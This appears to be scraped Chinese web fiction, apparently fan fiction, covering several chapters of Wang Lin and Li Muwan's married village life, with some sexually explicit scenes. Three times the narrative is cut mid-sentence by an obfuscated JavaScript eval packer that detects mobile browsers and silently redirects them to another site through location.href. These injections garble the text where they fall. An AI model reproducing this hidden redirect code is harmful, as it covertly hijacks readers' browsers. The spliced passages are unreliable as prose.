她把王林包袱里的衣裳拿出来挂好,长木桌上摆了几个她的小像,是王林走前雕刻的,剩余的他便带到了县里,放于自己屋中书案上,每日坐于案前看书写字,就宛若李慕婉就在身边陪着他看书。 “这香味有些不同。”王林褪了外袍,解下手臂缠的绷带,又解了腰封。 “这是婉儿前些日子才新制的香,味偏甜,阿兄可是不喜欢?”李慕婉铺好了床褥,初冬的夜身上凉凉的,手脚也冰冷。 他倒没有不喜欢,先前习惯了提神香的味道,一时间换了有些讶然,故而随口问了,那是李慕婉特调的依兰香,能够缓解疲惫和焦躁。 “这是依兰香?”王林问。 李慕婉诧异,“阿兄怎得认得?” “婉儿忘记了,你先前教我认识药材时,提过。” 原是如此,李慕婉思忖须臾才恍然却有此事,只是她也没放心上,“婉儿曾说,依兰香不仅安神,似还有别的功效?” 李慕婉似被揭穿了似的,心里泛虚,说话都温吞的,“阿兄,阿兄何意?” “婉儿何意?”王林双臂拦过她,将书案前的人禁锢怀里,李慕婉身前是黄花梨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13989712|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木长桌,身后是□□的胸膛,体内的寒意逐渐退散,热了起来。 “依兰香助情,可是婉儿,你知道的,无需依兰香……”李慕婉耳垂被软舌卷入,湿湿的,滑滑的。 她瞬间软下来,“阿,阿兄,别……”娇躯止不住的颤。 “这就受不住了?”王林目光炽热,双眸含着那张脸,唇瓣从耳后移到面颊,长指用力正过她脸,“那婉儿怎敢点的依兰香?” “阿兄,别在这……”李慕婉恳求着。 忽的身子腾空被举起,转了个方位正对着王林,他俯身而下,气息压人。 李慕婉被逼得后仰,露出白皙的脖颈,似水蛇细长,引着他,诱着他,比依兰香还要勾人。 他把她的求饶视作调情,置之不理,埋入她颈侧,锁骨是凉的。 李慕婉细腰被大掌扣住,一只手抵着他前膛,一只手被禁锢到长木桌,骨骼分明的长指滑入她掌心,十指扣紧了。 窗外有星点闪烁,不知何时,李慕婉的外衫掉落,裹紧的衣带被咬开了,温热的气息埋入峰峦,贪婪热烈。 “婉儿,唤一声夫君吧。”李慕婉背贴着黄花梨木,原本的凉意全然没了,背上湿了汗,就连长木桌也浸了湿,慌乱里手打落了一旁的雕像。 王林伸出长臂下压,捡了散落的小像,更深了。 “唔……”她控诉着,又想应着他,摆动几下。 小像没立稳,他欲要扶正,可却被她那几下冲破了仅存的理智,越发霸道了。 小像东倒西歪落在长木桌上,李慕婉枕着他手掌,侧着头,视线里笔帘上挂的狼毫一下一下有节奏的摆动,屏风上落了残影,弓起的宽背似一只蓄势待发的猎豹。 猎豹低沉嘶喊,蛟龙戏出池水,滴在莲花瓣,浸染了长木桌。 呼吸声渐渐平息,热气退后,寒意又来。李慕婉被人捞起,带到了榻上,铺好的床榻软和,玉臂勾着肩背,肩背再次下压。 木榻支不住猛烈,声响吱呀吱呀,漫出了小院。 天光微亮,王林从浑噩中醒来,胸前压着重量,李慕婉面颊贴着他膛前,王林小心翼翼给她放到褥枕上。 她睡得沉,从前不习惯夜里竹林风刮过的厮沥,自身侧有了他以后,那竹林的夜晚的声音再也扰不了她。 王林侧身手搭着她肩头,目不转睛地盯着怀里的人,她眉眼如画,唇红面白,少年不自觉挪动身躯,手肘撑榻,俯首端详着李慕婉的睡颜。 肩头的手缓缓上移,指尖在她眉峰反复勾勒,又沿着挺翘的鼻梁滑落,深潭底下的平静逐渐热化。柔情占据了一切情绪,好似看不够她,李慕婉稍一动,埋了埋头,蹭着他手臂继续睡。 王林唇角牵起,用鼻尖去触她那粉色的鼻尖,又忍不住浅酌那红润的唇瓣,不够,他要进一步的掠夺,双唇被他的霸道含裹,熟睡的人眉峰微蹙。 他瞧得清楚,本不想扰着她,可念头在这一刻就变了,手掌抚上细腰,往自己身上扣去。 睡梦中的人似有窒息之感,又梦浪子轻薄,她猛然惊醒,美眸却带惺忪睡意。 王林把她的反应尽收眼底,惊魂的她更让人想要占据,李慕婉眸子睁大了,眼前的人也正在打量自己,她有那么一刻是怔愣的,很快便有所反应。 推着他,“王林,你……” “婉儿。”王林终于舍得松了。 李慕婉侧头望向窗外,朦胧的光线,天还没完全亮,“你没睡?” “睡了。”他声音干哑极了,视线从未移开。 腰腹上似有东西抵着,她感受分明,又见他眼底浓郁的情欲,李慕婉有些窘迫,咽了咽喉咙,“你,做什么?” 他不答,鼻尖沿着她面颊自上而下,又滑过颈侧,只是不断念着她名字:“婉儿,婉儿,婉儿……” 李慕婉被热气呼得痒意难耐,不得已缩起肩头,却在那一刻,柔软贴着他不断起伏,王林气息急促。 欺身而上,把她的睡意驱赶,要她与自己一块纵情。 那在软玉里贪恋的人失了清晨的醒智,不断的讨要,李慕婉清醒地迎着他,叫人沦陷在浪潮里。 42.雪夜 王林在竹林小院待了两日,他回来的这两日李慕婉哪也没去,二人如胶似漆,白日形影不离,夜里红鸾叠帐。 他带她去桃林看日落,小栈桥两旁的河水比较夏日浅了些,几颗桃树长在水岸边。 倘若春日时,桃林粉红漫山,王林折了枝花送给李慕婉,李慕婉攥在手心里,被牵着走。 “待到来年桃花盛开时,我再带婉儿来赏花。”那宽阔的肩背把人挡在身后,落日霞光万丈,衬得周身柔和矜贵。 “好,眼看天又冷了些,婉儿做的护膝还有长褂阿兄要带。” 王林搂紧了人,把身上的热气渡过去,她的手总是凉凉的。 “依婉儿的。” 二人坐在那颗百年桃树枝叉上,日光躲着云层,白云裸着一层金辉,红日逐渐西下,墨发随风荡起,水蓝月白与暗蓝色的发带飘然缠绕。 “上次与阿兄在这儿一同赏云霞,阿兄竟想要自己回,把我一人丢在这树上。”李慕婉遐思往事,浅浅泛着笑。 王林不作声,唇角弯起弧度,少年郎的逗趣总是藏在不自知的爱意里,他没打算丢弃她一人在这里。 忽得纵身跃下,李慕婉又觉身侧空荡,还是熟悉的画面,可她这次并未害怕,见王林已站立树下,双臂张开,柔情化开万里寒气,“来。” 顷刻间,手臂接住了她,并未急着松手,将那情意藏入她的发丝,久久相拥。 *** 是日,王林卯时便出了竹林小院,李慕婉还睡着,昨夜闹得狠了,王林动静不小,她受了很久身上的人才作罢,似要宣泄那空白的时期。 久而久之,也未必每次都是他主动,李慕婉也会逗着他,引着他,见他入套后才心满意足,可是每每过后她都会后悔为何要主动招惹他。 他不在的那些日子,李慕婉又如往常研习丹药方子,跻身药房,李奇庆瞧她好长时间不到镇上去,便把她要的药材都带了来,还给王天水和周英素送了些养身的药。 丹药制完后,她空了几日,收到县里回来的家书,家书不长,简单几句报喜和思念的话,李慕婉看完没像往常及时回信,而是放入妆匣里。 花影来竹林小院寻她出去玩儿,王浩从镇子回来带了好些新奇玩意儿,谢三婶家总会有村里的妇人来闲坐。 妇人们坐一块,家长里短,谁家秘辛都藏不住。见着热闹,她也搬了张矮凳,手里替花影缠着丝线。 起先听的时候还会偶尔脸红,后来听得多了她便习以为常。 永正十年冬,王家村下了初雪,风雪很大,竹林落叶堆叠在院里,又被新落的雪掩盖,窗棂作响,院墙的海棠花树枝飒飒,白梅上的灯笼一晃一晃的。 厨房里的锅碗瓢盆碰撞,灶边的火冒着星点,李慕婉坐在灶台下替周英素掌火,烘得周身暖洋洋的,连同她的小脸烤得炙热。 “娘,今年的雪比去年下得早,堂屋里吃风,您和爹的房间寒气重,等阿兄回来,我们一块去镇上多买些炭回来吧。” 周英素脸上挂着笑,“好,听婉儿的。” 屋外已经暗沉,风雪呼啸绕过茅舍,李慕婉心里惦记着,时不时望着窗外,“阿兄说今晚回来的,可天色都暗了,还不见人影。” “这雪下得大,说不定路上耽搁了,婉儿别担心,若还没回咱们先吃,等他回来娘再做。” 若非外边下着雪,周英素不让她去村口等,此刻她人已经在村口了。做好了饭菜端到堂屋,炭火烧得暖,几人坐在饭桌前还未动筷,王天水端着烟斗也面露担忧。 忽闻院外木门有推动的声音,夹着风雪又听不清。 李慕婉心念着,恍惚生了错觉,又倾着耳听。 鹤唳风声里混着少年干净的声音。 “婉儿,爹娘,我回来了。” “是阿兄。”李慕婉面露笑意,霎时从矮凳起身,小跑出去,堂屋门猛的打开,寒风凛冽有如排山倒海之势涌入,鼓起她的衣袖,连同里边坐的二老也都吃着冷风,李慕婉顶着雪碎和狂风冲入那久违的怀里。 王天水和周英素面面相觑,须臾间又笑了。 “婉儿。”王林接住了人,口中呼出白雾,还带着赶路的沉音,她身上是暖的,雪花若无其人的落下。 “阿兄,怎得回来的那么晚。”她盼了一日,左等右等,心都焦了,恨不得蹭着他。 他身上着的是自己给他做的氅衣,上边落了雪花,大氅盖住了李慕婉,屋外狂风越猛,王林松了手臂,隔着昏暗里瞧她,几片雪碎躺在她眼睫上。 “进去再抱,外边冷,”王林轻声,似怕把她给化了,“我身上寒气重,别冻着你了。” 李慕婉这才愿意松手,牵着他手往里走,“嗯,爹娘等着你呢。” 待掩上门后,王林褪下大氅,喊着爹娘,李慕婉接过手替他拍净了附着的雪。 周英素瞧他风尘仆仆的模样,忍不住道:“这雪下得大,雪夜里路也不好走,晚一日回也无事的。” 李慕婉坐在长木桌前,旁边炭盆的位置留给王林,王林坐下后双臂很是自然地环住她,似要将人围起来,目光笼着李慕婉,温声说:“答应她的。” “况且,我也想爹娘了,想早些回来。” 家书里告知了回程的时辰,那么不论千难万险,他也要回来的。书院下了工,他便赶着回,只是夜里风大雪骤,马车疾行不得,故而回得晚些。 李慕婉面露喜色,“快吃饭吧,要不待会冷了。” 她给二老夹了酱牛肉,又才给王林也夹了一块,“阿兄爱吃的酱牛肉,娘早早做好了,爹娘都盼着你呢。” 王林朝她逗笑,“那婉儿也盼着么?” 李慕婉偏过头,在二老面前她自然会羞涩,不作声的夹了菜。 王天水笑说:“婉儿也盼着呢,入夜雪下大了,若非你娘拦着不让,她啊,早就跑去村口等你去了。” 他自是心知,不若也不会刚闻院里动静就不管不顾的冲过来抱他。 王林搁下筷子,朝她头上揉了揉,满眼宠溺。 堂屋的灯几乎亮到深夜,周英素烧了些炭送到西厢房去先暖着屋子,村里人冬天用的炭都是自家一年四季做饭烧火时攒下来的,就为冬日取暖所用。 只是光靠这些炭不足以抵御整个寒冬,故而李慕婉才想去镇上多买些回来。红木炭最是耐烧,烧一炉子能暖到晨时。 “你俩回屋歇息吧,炭都烧好了。”周英素还让他们带了壶热水出去。 刚过檐下便一股穿堂风袭来,李慕婉躲在他身侧,王林把那些冷风都挡下了。 氅衣裹着她娇小的身躯,入了西厢房门严实掩上,李慕婉去给他放包袱,却被王林拦下搂在怀里。 “别动,让我好好抱一会儿。”李慕婉禁锢怀里,双手只能去环住他腰身。 “阿兄,等婉儿收拾好再抱可好?”她仰着头,感受着力道加重。 “怎得我寄了几封家书,你却只给我回了一封?”声音沉哑,似有重音。 “家里每日都差不多,我知道阿兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14001312|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平安无事便心足了,故而没有每一封都回。”她解释道,人慢慢挣脱开。 王林又给她拉了回来,摁在书案前坐下,暖炉散着热气。李慕婉吓怕了,以为他又要在这。 却见王林一手压着她坐在自己腿上,一手取了包袱下来,从里边掏出钱袋子,交由李慕婉。 “这是我这个月的工钱,交由婉儿。” 李慕婉解开钱袋,“怎么会有这么多?书院先生工钱一个月最多不过五两。” “这里不仅是书院的工钱,还有我写话本的钱。”王林包裹着她手心,“在信中没与你提,是想着回来再与你细说。” “我在县里一家书铺谈定了,有空就去那写话本,除去讲学的时间,其余时间我都会去书铺。” 李慕婉这才知晓,推了推他,“这事信中有何不能说的,你可还瞒了其他的事?” “自是没有了。”王林抓过她手,指尖贴在唇瓣上。 李慕婉起身去妆台拿了匣子,放到长木桌上,把那些银子攒起来。王林疑惑问道:“这是给婉儿的家用,怎得收起来了?” “我给阿兄攒起来,家里开支婉儿自己制丹药卖的银子绰绰有余,这些银子存起来,以备不时之需。”李慕婉合上后,又拿了另一个木匣,将里边的银钱拿出来。 慢条斯理着,她先捡出几块碎银,说:“这是给爹娘还有阿兄置办冬衣所需的银子。” 接着又分了一份,每一份都有用途,“阿娘说过些日子要买些小鸡回来养着,等过年的时候,鸡圈里那些宰完,来年又还有得吃。” “还有这个,是给家里买炭的,家里攒的炭不够过冬,得要去镇上再囤一些,”她一一说道,“这些是给爹进木段用的,等爹这批木雕完工后,就快过年了,到时候阿兄也要回来。” “这部分,是婉儿要买药材炼制丹药的,我想再换一个新的药炉,质量要好些,但是镇子上我看了,都没有符合我想要的,”她侧头看了看王林,“阿兄,你有空的话能不能在县里帮我看看,若有好的买一个回来。” 王林专注听着她所说的每一件事,难得见她提,便爽快应下:“好,我定给婉儿带一个好的丹炉回来。” “你这些日子都忙什么呢?”见她把家里打理得井井有条,王林很是暖心,“可还有上山?” “村里人都不上山了,阿兄有所嘱咐,自己一个人不要去。”她倒是听话了,可王林觉着并非如此简单。 见她面色镇定,又作罢。 “劳婉儿照顾家里了。娶妻如此,夫复何求。”王林抱的手臂收紧,搂着人越过屏风,到了床榻。 李慕婉看着他充满情愫的眸底,身子不由软下,王林轻放了人,她抵住他胸膛,娇嗔说:“阿兄,天冷……” 王林握着她手腕,慢慢上移,热息覆着,“待会就热了。” “婉儿独守空房多日,不想我么?”王林熟练解着她腰封。 “嗯。”李慕婉也跟着替他褪着外袍。 “嗯是想还是不想?”他固执问着,一种听不见想要答案不会作罢的模样。 “阿兄,”李慕婉停下手中动作,挂在他脖颈上,柔情说,“婉儿想你,很想很想。” 说罢一副情深的神色看着他,点燃他。 “唔……” 他的动作重了,也快了,褪下衣裳也不像方才那般轻柔,带了霸道和粗瞒。 炭火烧得旺,屋内热气随着帐子滚动,几声缱绻之息绕在红帐内,漫天大雪飘落,覆盖着王家村。 43.小衣 翌日雪停了,可还未化,李慕婉要上镇子,王林拿了她的斗篷披上,自己又才跟着出去,两人去了药铺坐了半晌,再去采买红木碳和其他要用的东西。 王林在竹林小院住了两日又去了县里,之后李慕婉常往谢三婶家跑,昏暮前才回。 期间王家村又下了一次雪,比初雪更大了,厚雪压榻了东厢房的一角茅屋,李慕婉叫人来修。 隔了半月,王林又从县里休沐回来,书铺掌柜催着他交稿,可王林摆手摇摇头搪塞了去。 他心里念着人,下半日私塾里无课,便赶着回,以往两次回到王家村都已天暗了,这一次昏暮前他就回到了竹林小院,还不忘给李慕婉带回了丹炉。 王天水在堂屋刻着木雕,周英素身影压在鸡圈里,手里捧了几个刚下的蛋。 王林喊了人,又往院子巡视一周,没见李慕婉的人,东西厢房都无人。周英素察觉,便与他道:“铁柱寻什么呢?婉儿去谢三婶家了。” 他在村口没见着人,以往李慕婉知道自己要回便会去村子等,即便没在村口他寻思应也会在家的。 “娘,我的家书,你们可收到了?”王林心神恍惚,总觉有些不对劲儿。 “收到了,婉儿说了,你今日回来,娘已经给你准备了酱牛肉,晚饭就吃。”周英素语气温和。 王林应了一声,转在院子里有些失神,周英素瞧他神色不在,便说:“铁柱若是不累,去谢三婶家把婉儿接回来,估摸着她也回着了。” “好。”他本思虑着要去接。 长影消失在院中,海棠压过院墙,叉出高枝,晚霞照着远山峰峦。 李慕婉抄小道回的,一抹清影盈盈,发丝和裙摆起伏飘然,晃在田埂上。 初来王家村的她走田埂还摇摇欲坠,而今走能边走边舞,瞧着心情不错。 也不知谢三婶家有什么好,竟能让她忘了去村口等自己,王林原本拧着的眉头见着那欢快的人,还哼着小曲,阴郁都散完了。端详她的目光比落下的夕阳还要柔。 小坡上的他长身玉立,朝沉浸在喜色里的李慕婉幽幽唤了一声:“婉儿。” 声音荡在田野里,李慕婉抬眸远望,红日笼着他身躯,少年胸膛挺立,站如青松,额前碎发擦过轮廓。 “阿兄。”李慕婉声音清脆,脸上绽出笑,提起裙摆便跑了出去。 “慢些。”王林见她冲过来,怕她摔着了,动了身躯去迎她。 距离近了,王林张了双臂,李慕婉一跃,纵入他怀里,声音还夹着轻微的喘息,满是欣喜,“阿兄,阿兄回来了。” 抱着她时,王林觉着整个人都是暖的,小脸上贴了几根碎发,他轻抚着,给她理顺了,无比柔情。 李慕婉贴着他掌心,小脸泛着跑过的红晕,“阿兄,今日怎得这般早?婉儿正想去村口等你呢。” “我思妻心切,便早些回来了。”王林松了怀里的人,蹲身背过她,“却不料我的婉儿不在家,只好来寻了。” 李慕婉稳稳伏在宽背上,贴着他颈窝,享受着他的气息,“若知阿兄回来的早,我便早些回了。” “阿兄,你给婉儿带了丹炉么?” 王林轻声一笑,有些无奈,“婉儿到底是念着我,还是丹炉?” “念着丹炉,”忽觉身前的人脚步微顿,她又忙补充道,“更念阿兄。” “记着呢。”王林说,“答应婉儿的,何时食言过?” 晚饭后小夫妻在堂屋陪着二老闲谈了小半个时辰,冬夜烤着炭更容易犯困,王天水哈欠连连,王林不多打扰便拉着李慕婉回了西厢房。 屋里点了炭,窗户留了条缝,月色悄然打入,王林坐在书案前翻着页,李慕婉点了提神香。香气萦绕入鼻,他轻言道:“怎么婉儿不点依兰香了?” 李慕婉身躯微顿,没应他,王林等了片刻,看似专注着手里的书,又道:“谢三婶家可是有什么事?” “无事啊。”李慕婉拨了几下炭火,“阿兄怎的这般问。” 王林这才合上书,“那婉儿怎的这些日子都往外跑?” “我在等阿兄的丹炉,这几日就没炼制丹药了,”李慕婉一本正经说,“花影领了女工回来,我帮帮她忙,也能有个人与我说说话。” “村里那几个婶子也都在,聚在一块就有说不完的话,她们说话时婉儿也插不上,就跟花影在一旁听着。”她细碎念着,回得很认真。 王林也是听得认真,正了身细细听着。她小脸时而张扬,时而又簇成一团,王林只觉那些事再普通不过,从她嘴里说出来却是那么有趣。 “村尾的张大娘说她家母牛生了一只小牛犊,可小牛犊的父亲是孙大爷家的公牛,孙大爷说张家未经允许借了孙家的牛来繁衍。”李慕婉小脸扬起些疑惑,“这小牛犊有孙家的一半,张大娘不乐意,两家因此事闹了一阵,孙大爷半夜潜入张大娘的牛棚牵走了小牛犊。翌日被发现了,两家还为此大打出手,张大娘伤了腰,便来找我买了些药贴。” 见他歪头听得入神,李慕婉挪了挪,不知何时就钻入他臂弯里,继续说:“还有钱大娘家的大鹅前些日子去了河里,可回来的时候少了一只。正逢那日她去了赵二哥院子,见他们家锅里炖了大鹅,钱大娘就把煮好的鹅端走了。赵二哥追了一路,过了几日,那只鹅自己却回来了。钱大娘心里过意不去,把那只回来的鹅送到了赵家。” 王林唇角弯起,她这是村里的事都听了个遍。即便自己没在她身边,她也能过得很自在。 “你每日听得这些家长里短,不觉着无趣?” “不会啊,家常最是人间烟火气,为何会觉无趣?”她眼睛转着,好似还没说够,“只是,只是有时候她们说得话也并非都能听……” “说什么?” “谢三婶做女工,张大娘笑她是不是给自己做的小衣,还说夫妻之间,处久了就会无趣。得寻些闺房之乐,还说是个男人都会有小心思,特别是夫妻分居两地,得要小心着夫君身边的莺莺燕燕。”她指尖绕在他喉结处,百无聊赖道。 “还说花溪村就有个书生也去外地讲学了,一别几年,归家次数屈指可数,后来被家中妻子知晓,是外边养了外室,生了一儿一女,还是书院里的女先生,事情闹开后,那书生既然要休妻。” 王林听得皱起眉头,只觉势头不对。 “不过像阿兄这样的,谢三婶说你定然不会。” “阿兄,世上当真有如此狠心舍得抛妻弃子之人么?” 王林无奈摇摇头,抬指刮了刮她鼻尖,指尖还是凉的,“以后村里婶子们聚在一块,你少些去。” “婶子们热情,她们说得话有时虽说不入耳,可细想里边都是为人之道,为何不能去,咋啦?”她仰着头看他。 咋啦? 王林微顿,眉峰更紧,盯着她那正肃的小表情,潜移默化里这口音都带歪了,她自己不觉得,还问咋啦? “冬日冷,你总外出,怕你受凉了。”王林吹了烛台的灯,起身准备下榻。 见他入了屏风,解着外袍,李慕婉隔着屏风看,“那阿兄,谢三婶说得话可对?” “谢三婶的话,你听一半就好。”屏风内窸窸窣窣,衣架上挂了长袍,“婉儿,就寝吧。” 李慕婉从屏风探出,王林已经上了榻,她撑着身,坐在榻前,“阿兄,那婉儿要听哪一半?” 王林抚着她鬓间,隐隐藏着笑,也不说话。 李慕婉褪了外衫和袄褂,爬了上去,又不见她躺下,盘腿坐在被褥上,直直盯着王林。 王林左臂枕着头,右臂去捞人,李慕婉顺势压过去,撑在胸口。 中衣下藏了丰腴,怕她冷着,王林掀了被褥盖住人,李慕婉拿开腰上的大掌,放到自己领口处。 他喉间滚了下,长指拨开衣襟,深眸带着几分侵略,只见中衣之下是一层薄薄的粉色轻纱,轻纱半遮了春光,两颗玉珠透着粉。 “婉儿,你……”王林声音干哑,眼尾透着红。 “你这小衣……我怎没见过?” “阿兄不是说,谢三婶的话只听一半吗?”李慕婉指尖滑过他喉结。 可她说的一半与王林所说好似不大一样,他意会后气息也沉了。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014510|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这小衣是婉儿刚做的。” “婉儿是知道我回来,特意穿给我看的?”王林微仰了仰头,霎时抓过喉结上的细腕,往自己身前一拉,李慕婉失重面颊贴着他胸膛。 屋外寒风势大,急急拍着窗棂,李慕婉被翻身压下,轻纱下的珠玉被软舌含入,连连沉哼。 “夫君……”娇柔附耳。 他齿间用了力,阖眼的人又掀开眼帘,他中衣褪净了,那气息又移到脖颈上,“怎么了?婉儿不是特意给我看的么?” “夫君,慢一些。” 尖舌探入清池,舔舐半开的莲,几番滋养下,又盛放少许,不知多时后,蕊心盛满了露珠,轻轻点点,凝成细流。 那身轻纱小衣碎了几截,散落榻下,炭火旺过,屋内气流还是热的。 冬日的晨光爬过屋檐,海棠枝上停了几支雀,叫声不断,院墙下王林蹲着身锯着一块木板。 王天水给他寻了把刨子,摇摇头道:“这床板是有些年头了,早该要换的。” 王林倒像是无事的,“爹,您忙吧,孩儿自己来就行。” 李慕婉扒在窗缝,一只眼露出来,小手无处安放,清早醒来便觉身上有东西在游动,睁眼发觉自己被饿狼虎视眈眈享受着。 她翻身要躲,床塌了,本来这木板就不结实,想说等年前寻个时间换新的,总归平日她一个人睡也不觉有什么。王林隔一段时间回来,是能折腾些。 她羞涩得连门不敢出,生怕叫爹娘笑话。 王林哄了好一会儿,她才愿意出来用膳的,这叫她再不敢穿小衣逗他了。 新床板做好后,确实要结实,只是往后王林便不常再回来,话本第三卷要结稿,书客崔了许久,书铺压不住,只能求着王林抓紧写。 书院放了假,他便可专心赶稿,可已有一月未回王家村,他不便回,李慕婉便收拾了去县里探望。 书铺旁划了一间房,是给他写书用的,里边还有床铺,吃睡写书都在这了,除了交稿日和用饭时辰,无人会来打扰。 屋内炭炉冒着热气,煮的茶水滚了又滚,房门响起声,熟悉的声音传来,“阿兄,婉儿来了。” 王林闻声搁了笔,门开后李慕婉立在他眼前,肩头落了几滴雪碎,身后背的包袱压得肩头下沉。 “婉儿,”王林欣然拉了人进屋,又接了她肩头上的重物,“你家书上说明日才来的,怎得提前了。” 她本也是没打算提前的,是谢三婶与她道了些有的没的,她本不是疑心之人,提前一日过来也并非与谢三婶所说的那般要寻他错处,只是想着给他个惊喜。 “我念着阿兄,就早一日来了。”李慕婉放置好包袱里带来的东西,“娘做了酱牛肉,还有婉儿做的衣裳,最近天更冷了。” 王林抓过她手臂,“婉儿别忙,让我好好看看你。” 李慕婉小脸被暖呼的掌心捧着,余光却瞟到一处,她侧了脸,视线落在别处,“阿兄把我的小像放在这了?” 王林跟着她视线而去,书案和床铺前都是她的小像。 屋里点着提神香,窗台下还有一支寒梅插在瓷瓶里,这才放心些。 “对了,婉儿给阿兄新做了几盒提神香,你好久未回,先前带的都快用完了吧。” “好,婉儿费心了。” 从王家村到县里坐马车也要一个时辰才能赶到,又背了如此多重物,刚进屋忙着也没能坐下喝口茶,满心满眼都是他在这过得好不好。 王林给她倒了一杯热茶,暖着小手,手臂禁锢着人,“身上这般冷,先暖暖。” “阿兄,婉儿不能久留,得赶在天黑前回去。”李慕婉半躺在他臂弯里,双眸也透着不舍。 “住一晚吧,婉儿。”王林略微颤音,“留下来。” 李慕婉有些犹疑,事先没思量要留宿的,故而王林开口她也有些犯难。 “婉儿难办,可是家中有事?”王林问。 “留一晚也无妨,只是婉儿怕叨扰你写书了。”李慕婉拉开了些距离,他眉眼柔情,尽收眼底。 “不差这一日。”王林感受着她的气息。 44.作画 就在李慕婉以为他要进一步时,王林却松了手朝柜子里去。她捧着茶盏喝了一口,暖洋洋的。 “婉儿,来。”王林立于书案前与她伸手,李慕婉转了半个身子,起身过去,见他手中拿了一张契帖,并不知具体何物。 “阿兄,这是什么?” 王林未答,只是将那契帖放到她手心,“婉儿看。” 她小心翼翼摊开了折好的纸,入眼是极为显眼的两个大字“房契”。 再往下看,是县城街道一处宅院,而这房契上落款所属人,是李慕婉的名字。 “阿兄,这房契怎的是婉儿的名字?”她试探道。 “给婉儿买的,自是你的名字。”王林握过捏着房契的手,双臂从身后环过她,下巴抵在颈窝处,“往后婉儿若再来县城看我,就住在这小院里。” “我看这小院带了一个池子和后院,往后在这池子栽种些莲花,再养些鱼儿,后院你想种哪样的花都可以。” 原以为她会很高兴,可却没有王林期待的那样,脸上的喜色短暂,“婉儿不喜欢?” “阿兄哪来的银子买这宅院……”李慕婉面颊贴着他额间。 “写这话本赚的,成亲前便想给你买个宅子,婉儿体贴,怕爹娘无人照顾,这事耽搁了,可我一直记着呢。” “我也不常来县里的。”李慕婉还是喜欢待在王家村,有竹林小院和爹娘,还有王家村的朋友,离镇子近,也能常回去药铺看看哥哥。 “无妨,只要婉儿来了,往后便去小院住,不过眼下还不行。” 她把那房契收好,抽了半日时间陪她在县城里转悠。 王林路上遇着学生父母,与人闲聊两句,李慕婉还在铺子里挑选布料,出来时见他抽不开身,恰逢布庄旁是一间琴房。 心头的痒意泛起,她入店巡视一周,瞧中一架古琴,琴断朱弦,琴心相挑,音色清响,难见的上好古琴。 掌柜见她喜欢,直言可以试弹,李慕婉许久不弹琴,起初拨弦试音的两下还有些未能寻回感觉,渐渐的上手后随意谈起一曲小调,引得店内客人为观,音落后才恍然自己已深陷其中,引来掌声连连,倚靠门外的王林痴望好一会。 没成想她琴弹得这般好。 李慕婉试完后对此琴音色是满意的,可却只是摇了摇头,略带惋惜之色,似乎还有不足。 之后她买了好些药材和布料,药材是要炼制丹药的,布料是为做新衣备的。 王林两手几近腾不出来,李慕婉一手一串糖葫芦,街道热气腾腾的包子一笼一笼出锅,酒肆的小厮立在门前热情招呼客人,比镇子上热闹了许多。 “阿兄,再有两月就过年了,你何时回王家村啊?”她腮帮子鼓鼓的,藏了一颗糖葫芦。 王林暗算时间,写完这卷也要一个多月,不过年关前总能赶回去。 夜里李慕婉在他屋里住了一夜,翌日日中前王林送她回了王家村。 *** 年关将至,大雪纷飞,半月不断,整个村子覆上厚厚一层白,王林昨夜交完最后一稿便从县城赶回来,夜里睡得晚,又起的早。 身上盖着大氅,搁前院扫雪,雪堆压着海棠枝重重垂下,李慕婉还睡着。 他醒后又往炉子加了几根木炭,屋内暖气充盈,冬褥下滑出一支玉臂,在探着身侧的床榻,摸了两下发觉是空的,又侧头睡了回去,脖颈露出之处泛着几块红,似还有齿印。 冷风从窗缝灌入,打在屏风上,她侧身隆起冬褥遮住了那痕迹。 又睡了小半个时辰,王林顶着寒气入内,衣摆沾了少许雪碎。 半梦半醒的她听得推门动静,过了一阵,声音近在榻前的衣架边,王林换下大氅,抖净雪碎后又到炉子前烤火,烤暖些才去榻里寻人。 结实的臂膀绕过颈侧,李慕婉滑入他臂弯里,醒了。面颊上有热气传来,可触碰到的唇瓣是冰凉的。 “阿兄,凉……”她气息低沉,声音哑着。 “我待会去镇上采买过年的物品,婉儿可要一块去?” 睡眼惺忪的她揉了揉眼,精神起几分,掀着眼帘,“去,阿兄等我。” 闻言王林手臂一带,李慕婉坐起半个身,又给她穿了厚衣,李慕婉昏沉中被支配着,冬日要容易犯懒些,可她也不会不顾时辰,定是昨夜闹得晚了。 两人在镇子上采买了新年用得上的爆竹红绸,饴糖,屠苏酒,桃符,米面,红纸…… 李奇庆托燕州商客带了些上好的果酒,让李慕婉拿回竹林小院去。 除夕日,王家村家家贴起春联,王林和李慕婉坐在黄花梨长木桌上,红纸摊开,砚台是磨好的墨汁。 